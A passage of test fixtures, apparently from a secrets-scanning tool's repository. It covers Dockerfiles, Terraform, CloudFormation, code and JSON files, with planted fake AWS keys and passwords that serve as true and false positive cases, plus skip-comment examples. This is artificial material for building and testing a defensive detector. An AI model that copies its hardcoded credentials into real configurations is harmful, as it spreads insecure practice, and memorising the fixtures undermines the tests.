tnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEY" ================================================ FILE: tests/secrets/masking_secrets/assets_report_with_pass.json ================================================ { "reportIdentifier": "iac_assets", "items": [ { "name": "aws_instance.web_host", "provider": "GitHub", "groupId": "CKV_AWS_79", "fields": { "resource_name": "web_host", "resource_type": "aws_instance", "framework": "TERRAFORM", "code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}", "path": "/s3.tf", "start.line": 1, "end.line": 19 }, "rawFields": { "cloud_provider": "AWS" } } ] } ================================================ FILE: tests/secrets/masking_secrets/findings_report_with_pass.json ================================================ { "typeId": 1, "reportIdentifier": "Iac", "items": [ { "assetId": "aws_instance.web_host", "moduleUnstructuredFields": { "name": "Ensure Instance Metadata Service Version 1 is not enabled", "rule_id": "CKV_AWS_79", "rule_name": "Ensure Instance Metadata Service Version 1 is not enabled", "rule_category": "Data", "code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}", "asset_name": "aws_instance.web_host", "inspected_key_line": -1, "inspected_key": "metadata_options/[0]/http_tokens", "alt_code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}" } }, { "assetId": "aws_instance.web_host", "description": "Ensure no hard-coded secrets exist in EC2 user data", "moduleUnstructuredFields": { "name": "Ensure no hard-coded secrets exist in EC2 user data", "rule_id": "CKV_AWS_46", "rule_name": "Ensure no hard-coded secrets exist in EC2 user data", "rule_category": "Data", "code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}", "asset_name": "aws_instance.web_host", "inspected_key_line": 8, "inspected_key": "user_data", "alt_code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n}" } }, { "assetId": "aws_instance.web_host", "description": "Ensure that detailed monitoring is enabled for EC2 instances", "moduleUnstructuredFields": { "name": "Ensure that detailed monitoring is enabled for EC2 instances", "rule_id": "CKV_AWS_126", "rule_name": "Ensure that detailed monitoring is enabled for EC2 instances", "rule_category": "Data", "code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}", "asset_name": "aws_instance.web_host", "inspected_key_line": -1, "inspected_key": "monitoring", "alt_code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}" } }, { "assetId": "aws_instance.web_host", "description": "Ensure that EC2 is EBS optimized", "moduleUnstructuredFields": { "name": "Ensure that EC2 is EBS optimized", "rule_id": "CKV_AWS_135", "rule_name": "Ensure that EC2 is EBS optimized", "rule_category": "Data", "code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}", "asset_name": "aws_instance.web_host", "inspected_key_line": -1, "inspected_key": "ebs_optimized", "alt_code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}" } }, { "assetId": "aws_instance.web_host", "description": "Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted", "moduleUnstructuredFields": { "name": "Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted", "rule_id": "CKV_AWS_8", "rule_name": "Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted", "rule_category": "Data", "code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}", "asset_name": "aws_instance.web_host", "inspected_key_line": -1, "inspected_key": "root_block_device", "alt_code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}" } }, { "assetId": "aws_instance.web_host", "description": "Ensure an IAM role is attached to EC2 instance", "moduleUnstructuredFields": { "name": "Ensure an IAM role is attached to EC2 instance", "rule_id": "CKV2_AWS_41", "rule_name": "Ensure an IAM role is attached to EC2 instance", "rule_category": "Data", "code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}", "asset_name": "aws_instance.web_host", "inspected_key_line": -1, "alt_code_block": "" } }, { "assetId": "aws_instance.web_host", "description": "EC2 instance should not have public IP.", "moduleUnstructuredFields": { "name": "EC2 instance should not have public IP.", "rule_id": "CKV_AWS_88", "rule_name": "EC2 instance should not have public IP.", "rule_category": "Data", "code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}", "asset_name": "aws_instance.web_host", "inspected_key_line": -1, "inspected_key": "associate_public_ip_address", "alt_code_block": "resource \"aws_instance\" \"web_host\" {\n ami = \"${var.ami}\"\n instance_type = \"t2.nano\"\n\n vpc_security_group_ids = [\n \"${aws_security_group.web-node.id}\"]\n subnet_id = \"${aws_subnet.web_subnet.id}\"\n user_data = <Deployed via Terraform\" | sudo tee /var/www/html/index.html\nEOF\n}" } } ] } ================================================ FILE: tests/secrets/multiline_custom_regex_detector/Dockerfile.mine ================================================ FROM base:1 USER bob ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEY" ENV CIRCLE="2065ae463be4e434bb/LIR\366d44e7a776d472" ENV SEC_3="eyJrIjoiNUwyZU7TMmRxQXNV/HANA/XB0ME4zYkhRaTk2STVhR0MiLCJuIjoidGVtcCIsImlkIjoxfQ==" ENV TEST="5FP0NmFYz81U32XdjNb42762" ENV OUT="5FP0NmFYz81U32XdjNb42762eyJrIjoiNUwyZU7TMmRxQXNV/HANA/XB0ME4zYkhRaTk2STVhR0MiLCJuIjoidGVtcCIsImlkIjoxfQ==" ================================================ FILE: tests/secrets/multiline_finding/Dockerfile.mine ================================================ Algolia const ADMIN_KEY = 'b782df1739614041699a45f8079a3623'; ================================================ FILE: tests/secrets/omit_multiple_secrets/test/multiple_secrets_one_line.txt ================================================ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE\nexport CIRCLE='rk_live_TESTtestTESTtestTESTtest' ================================================ FILE: tests/secrets/resources/cfn/secret-no-false-positive.yml ================================================ """ no False Positive - where it's not an actual secret """ CleanBucketFunction: Type: "AWS::Lambda::Function" DependsOn: CleanupRole Properties: Handler: index.clearS3Bucket Role: Fn::GetAtt: CleanupRole.Arn Runtime: nodejs12.x Timeout: 25 Code: ZipFile: | no False Positive - where it's not an actual secret check_metadata_values = ('bafadssda$#%2', 'bdfsver#$@%') CHECKOV_METADATA_RESULT = 'checkov_results5243gvr' check1 = {'blabla': 'blabla1'} check2 = {'blabla': 'blabla2'} check1['some_key_1235#$@'] = check2.get('some_value_1235') not_a_secr_k = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPL3KEY" ================================================ FILE: tests/secrets/resources/cfn/secret-no-false-positive2.yml ================================================ """ no False Positive - where it's not an actual secret """ CleanBucketFunction: Type: "AWS::Lambda::Function" JustAKey: - "secretsmanager:GetSecretValue" ================================================ FILE: tests/secrets/resources/cfn/secret.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: AWS CloudFormation Template to deploy insecure infrastructure Resources: AnalysisLambda: Type: AWS::Lambda::Function Properties: FunctionName: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" Runtime: nodejs12.x Role: !GetAtt IAM4Lambda.Arn Handler: exports.test Code: ZipFile: | console.log("Hello World"); Environment: Variables: access_key: "AKIAIOSFODNN7EXAMPL3" secret_key: "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" Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" - Key: Environment Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}" ================================================ FILE: tests/secrets/resources/file_type/Dockerfile ================================================ FROM base:1 RUN apt install first_update_line \ && apt update first_update_line RUN apt update second_update_line RUN apt update third_update_line USER bob ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPL3KEY" ENV AWS_SECRET_ACCESS_KEY="AKIAIOSFODNN7EXAMPL3" HEALTHCHECK --interval=5m --timeout=3s \ CMD curl -f http://localhost/ || exit 1 ~ ================================================ FILE: tests/secrets/resources/file_type/Dockerfile.simple ================================================ FROM base ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPL3KEY" ENV AWS_SECRET_ACCESS_KEY="AKIAIOSFODNN7EXAMPL3" RUN apk update ================================================ FILE: tests/secrets/resources/file_type/test.py ================================================ # no False Positive - where it's not an actual secret check_metadata_values = ('bafadssda$#%2', 'bdfsver#$@%') CHECKOV_METADATA_RESULT = 'checkov_results5243gvr' check1 = {'blabla': 'blabla1'} check2 = {'blabla': 'blabla2'} check1['some_key_1235#$@'] = check2.get('some_value_1235') access_key = "AKIAIOSFODNN7EXAMPLE" secret_key = "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" if __name__ == '__main__': print('secrets') ================================================ FILE: tests/secrets/resources/file_type/test.ts ================================================ const access_key = "AKIAIOSFODNN7EXAMPLE" const secret_key = "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" function compact(arr: string[]) { if (arr.length > 10) return arr.slice(0, 10) return arr } ================================================ FILE: tests/secrets/resources/k8s/secret-name.yaml ================================================ --- kind: Deployment apiVersion: apps/v1 metadata: labels: k8s-app: kubernetes-dashboard name: kubernetes-dashboard namespace: kubernetes-dashboard spec: replicas: 1 selector: matchLabels: k8s-app: kubernetes-dashboard template: metadata: labels: k8s-app: kubernetes-dashboard spec: containers: - name: kubernetes-dashboard image: kubernetesui/dashboard:v2.0.0-rc7 imagePullPolicy: Always volumes: - name: kubernetes-dashboard-certs secret: secretName: kubernetes-dashboard-certs ================================================ FILE: tests/secrets/resources/terraform/main.tf ================================================ resource "local_file" "npmrc" { content = "no" filename = ".npmrc" } ================================================ FILE: tests/secrets/resources/terraform_failed/main.tf ================================================ provider "aws" { access_key = "AKIAIOSFODNN7EXAMPLE" secret_key = "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" } ================================================ FILE: tests/secrets/resources/terraform_skip/main.tf ================================================ resource "aws_lambda_function" "skip" { filename = "lambda_function_payload.zip" function_name = "lambda_function_name" role = aws_iam_role.iam_for_lambda.arn handler = "exports.test" source_code_hash = filebase64sha256("lambda_function_payload.zip") runtime = "nodejs12.x" environment { variables = { access_key = "AKIAIOSFODNN7EXAMPLE" #checkov:skip=CKV_SECRET_2:example secret_key = "" } } } resource "aws_lambda_function" "wrong_skip" { filename = "lambda_function_payload.zip" function_name = "lambda_function_name" role = aws_iam_role.iam_for_lambda.arn handler = "exports.test" source_code_hash = filebase64sha256("lambda_function_payload.zip") runtime = "nodejs12.x" environment { variables = { access_key = "AKIAIOS3F6KN7EXAMPL3" #checkov:skip=CKV_SECRET_5:wrong check id secret_key = "" } } } ================================================ FILE: tests/secrets/sanity/iac_fp/main.json ================================================ { "MetadataOptions": { "HttpsTokens": "optional" } } ================================================ FILE: tests/secrets/sanity/iac_fp/main.tf ================================================ secret_name = "example_secret_name" creation_token = "my-product" client_secret_setting_name = "MICROSOFT_PROVIDER_AUTHENTICATION_SECRET" ================================================ FILE: tests/secrets/sanity/non_iac_fp/a.py ================================================ def a(): test_files_dir = current_dir + "/example_LustreFSEncryptedWithCMK" mock_url = mock_bc_integration.api_url + "/api/v1/vulnerabilities/scan-results/2e97f5afea42664309f492a1e2083b43479c2936" PASSWORD = "PASSWORD" STATUS_ERROR_PASSWORD_FETCH = "ERROR_PASSWORD_FETCH" return "Properties/LogPublishingOptions/AUDIT_LOGS/Enabled" metadata_options['HttpTokens'] == "required" "MDEyOk9yZ2FuaXphdGlvbjE\u003d" IAM_ROLE_STATEMENTS_TOKEN = 'iamRoleStatements' a = { 'JSON Web Token': 'CKV_SECRET_9', 'NPM tokens': 'CKV_SECRET_12', 'Slack Token': 'CKV_SECRET_14', 'SoftLayer Credentials': 'CKV_SECRET_15', 'Square OAuth Secret': 'CKV_SECRET_16' } self.go("GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled") a = {'s3_origin_config': [{'origin_access_identity': ['origin-access-identity/cloudfront/ABCDEFG1234567']}]} ================================================ FILE: tests/secrets/sanity/non_secrets/true_negative.json ================================================ { "upload_image_error_general": "Vi beklager, men det skjedde en feil ved opplasting. Sørg for at filen ikke overstiger {0} og at den er i et bildeformat (jpg, png, bmp eller gif).", "my_profile": "Min profil", "passwords_not_equal": "Passordene er ikke like.", "invalid_one_time_code": "Du har ikke tastet en gyldig engangskode. Tast inn 4-sifret kode fra SMS.", "access_key": "AKIAIOSFODNN7EXAMPLE", "password_change_information": "For å bekrefte endringen, må vi sende deg kode på sms.", "repeat_password": "Gjenta passord", "password_with_length": "Passord (minst 6 tegn)", "personal_information": "Personopplysninger", "phone_number": "Telefonnummer", "one_time_password": "Engangskode:", "sendOneTimePassword": "Send engangskode", "invalid_one_time_password": "Ugyldig engangskode", "password_at_least_6_characters": "Passordet må ha minst 6 tegn.", "password": "Passord", "the_value": "QtT8Q~9C-_Ij~RYuHVpD2Tuf3oHWGh.DQ3kcjbAn", "intro_new_password": "Lag et nytt passord og skriv det inn her. Passordet må ha minst 6 tegn.", "test_second": "gYf8TjMMrog5PsiyHTyKIn57gpByF8R3AcyXVLz7lli8bSGXIcWTypFsyKHQ6VKbzvHPTB6djpHpzGKHg81UoQ==", "intro_confirmation": "Ditt nye passord er lagret.", "password_must_have": "Passordet må ha seks eller flere tegn.", "wrong_one_time_password": "Du har tastet feil engangspassord", "an_error_has_occured_please_start_over": "En feil har oppstått, vennligst gå tilbake og start på nytt.", "choose_password": "Lag et nytt passord på minst 6 tegn.", "create_password": "Lag nytt passord", "save_password": "Lagre passord", "new_password": "Nytt passord", "new_password_intro": "Skriv inn mobilnummeret ditt og vi sender deg en engangskode på SMS.", "wrong_username_password": "Mobilnummer eller passord er feil. Vennligst prøv igjen.", "log_out_confirm": "Er du sikker på at du vil logge ut?", "newUserMsg": "Vi gir deg komplett oversikt over hele prosessen for din forhåndsbestilte og bestilte bil mens du venter.", "oneTimePasswordSms": "Engangskode fra sms", "passwordNotEqual": "Passordene er ikke like", "createPassword": "Opprett et passord, minst 6 tegn.", "crazy_line": "hjshnk5ex5u34565AWS654/JKGjhz545d89sjkja", "admin_login": "Pa$$w0rd" } ================================================ FILE: tests/secrets/sanity/secrets/true_positive.json ================================================ { "SA_PASSWORD": "DEV-we-954", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPL3KEY", "my_new_password": "F322a45xxmwov9bpgRhyuByXj2nxz7khS6yXQmfSaQCmwbTF2jpfgC56az3a", "test_pass": "z2b7k2cQfzc+yjP2K8cjuQ8uoorHBpEvC+XWhU3Z5+IdrPQYwr991Lj73xfZ+RA2GzC0wTedDTvb1C2NX+3Gpw==", "pg_pass": "sup1rstr0ngpass2ForTT", "my_secret": "THISISASECRETKEY1234==" } ================================================ FILE: tests/secrets/skip_test/skip_test1/skip1.json ================================================ { "spec": [ { "name": "SOME_NAME1", "value": "some_value1" }, { "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE", "name": "TEST_PASSWORD_1", "name1": "TEST_PASSWORD_2", "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35" }, { "name": "TEST_PASSWORD_3", "value": "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h" }, { "name": "TEST_PASSWORD_4", "value": "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z" }, { "name": "TEST_PASSWORD_LONG_1", "value": "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN" }, { "name": "TEST_PASSWORD_no_password", "value": "RandomP@ssw0rd" } ] } ================================================ FILE: tests/secrets/skip_test/skip_test1/skip2.json ================================================ { "spec": [ { "name": "SOME_NAME", "value": "some_value" }, { "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE", "name": "TEST_PASSWORD_1", "name1": "TEST_PASSWORD_2", "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35" }, { "name": "TEST_PASSWORD_3", "value": "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h" }, { "name": "TEST_PASSWORD_4", "value": 